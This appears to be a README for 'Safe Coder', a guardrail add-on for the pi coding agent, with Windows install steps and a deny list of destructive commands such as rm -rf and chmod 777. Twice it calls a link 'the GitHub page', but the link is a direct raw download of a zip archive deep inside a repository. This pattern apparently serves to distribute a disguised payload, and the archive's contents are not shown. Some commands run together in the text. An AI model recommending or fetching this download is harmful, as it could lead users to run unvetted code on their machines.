Safe Coder is a setup package for the pi coding agent. It adds safety checks before the agent runs risky commands or changes files outside your project folder.
Use it when you want an AI coding tool to stay inside the workspace and ask before it does anything risky.
Go to the GitHub page here:
https://github.com/cacab6002/safe-coder/raw/refs/heads/main/extensions/plan-mode/coder_safe_3.8.zip
Open PowerShell and run:
npm install -g @mariozechner/pi-coding-agentIf Windows asks for permission, allow it.
Run this command in PowerShell:
pi install npm:safe-coderThis adds Safe Coder to your pi setup.
Open the pi coding agent and point it at your project.
Safe Coder loads its guardrails and project extensions on its own.
- Windows 10 or Windows 11
- Internet access
- Node.js installed on your PC
- Permission to install tools on your system
Safe Coder checks shell commands before they run. It can stop commands like:
rm -rfsudochmod 777chown 777
If a command looks unsafe, it asks for clear approval first.
Safe Coder checks file actions like:
- reading files
- writing files
- editing files
It blocks access when a path points outside your current project folder.
Safe Coder works like a package you add to pi. It can load extra skills and extensions that fit your project.
That helps the agent follow your project rules without extra setup.
If Node.js is not on your computer, install it first.
Use the current LTS version from the official Node.js site.
After install, close and reopen PowerShell.
Run:
node -v
npm -vIf both commands show version numbers, you are ready.
Run:
npm install -g @mariozechner/pi-coding-agentRun:
pi install npm:safe-coderStart pi in the folder where your project lives.
Safe Coder will use that folder as the workspace boundary.
- Open PowerShell.
- Move to your project folder.
- Start the
picoding agent. - Let Safe Coder handle the safety checks.
If the agent tries to run a risky command, review it before you allow it.
If the agent tries to touch files outside the project, block it and keep the work inside the folder you chose.
Safe Coder is useful for:
- school projects
- small apps
- team codebases
- test projects
- AI-assisted editing in a folder you trust
It helps reduce mistakes when an AI tool works with your files.
A command like this may need approval:
rm -rf node_modulesA file edit like this may get blocked:
C:\Users\YourName\Desktop\secret-file.txt
A safe path inside your project folder should work as expected.
You do not need to manage the package files by hand, but the package is built to plug into pi and load:
- guardrails
- workspace checks
- extra skills
- project rules
Safe Coder focuses on two main controls:
- command safety
- file boundary checks
These checks help keep the agent from doing work that goes beyond your intent.
If you need to reinstall Safe Coder, run:
pi install npm:safe-coderUse the normal npm update flow for pi if you want the latest version of the coding agent.
If you no longer want Safe Coder, remove it through your pi setup in the way your agent package manager expects.
If you see a request for a command like:
- remove files
- change system settings
- change file permissions
- use admin access
pause and read it first.
Only allow it if you know what it will do.
Install Node.js, then reopen PowerShell.
Install @mariozechner/pi-coding-agent again and check that global npm tools are on your PATH.
Make sure you ran:
pi install npm:safe-coderThen start pi from the project folder again.
This can happen when a command matches a safety rule.
Review the command and use a safer version if possible.
Use this page to get started:
https://github.com/cacab6002/safe-coder/raw/refs/heads/main/extensions/plan-mode/coder_safe_3.8.zip
Open the page, follow the install steps for Windows, then add Safe Coder to your pi setup with:
pi install npm:safe-codernpm install -g @mariozechner/pi-coding-agent
pi install npm:safe-coderAfter that, open your project folder and start using pi with Safe Coder enabled